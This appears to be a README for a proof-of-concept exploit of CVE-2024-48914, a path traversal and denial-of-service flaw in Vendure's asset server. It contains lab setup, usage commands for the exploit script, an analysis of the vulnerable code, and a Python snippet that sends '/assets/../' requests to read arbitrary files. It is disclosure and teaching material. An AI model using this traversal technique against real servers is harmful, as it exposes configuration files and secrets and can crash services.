## https://sploitus.com/exploit?id=08A03081-FFC7-59DB-8913-79EE8FB68DDA
This post is a research article published by [EQSTLab](https://github.com/EQSTLab).
**Thanks to [Rajesh Sharma](https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq), who discovered this vulnerability.**
# CVE-2024-48914
โ CVE-2024-48914 Arbitrary File Read and DoS PoC โ
## Description
CVE-2024-48914 : vendure-ecommerce Arbitrary file read and DoS Vulnerability
description: Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI. Patches are available in versions 3.0.5 and 2.3.3. Some workarounds are also available. One may use object storage rather than the local file system, e.g. MinIO or S3, or define middleware which detects and blocks requests with urls containing `/../`.
## Lab Setup
Download vulnerable version([v3.0.4](https://github.com/vendure-ecommerce/vendure/tree/v3.0.4)):
### Install top-level dependencies
```sh
npm install
```
### Build all packages
```sh
npm run build
```
## Setup the database and elasticsearch
**docker-compose.yml**
```
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
```
**Command to execute**
```sh
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
```
## How to use
### Git clone
```sh
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
```
### Install packages
```sh
pip install -r requirements.txt
```
### Command
```sh
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
```
### Output
**CVE-2024-48914.py (Arbitrary File Read)**
![alt text](./assets/1.png)
**CVE-2024-48914.py (DoS Attack)**
![alt text](./assets/2.png)
![alt text](./assets/3.png)
## Analysis
**vendure/packages/asset-server-plugin/src/plugin.ts**
```
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
```
The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js
This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server.
## Python tips
When using python requests module the "../" it stripped from the urlpath. If you use "prepared requests" like below, you can use python requests module without the "../" stripping from the urlpath.
```
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
```
## Disclaimer
This repository is not intended to be Arbitrary File Read or DoS exploit to CVE-2024-48914. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.
## References
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq
https://github.com/vendure-ecommerce/vendure/tree/v3.0.4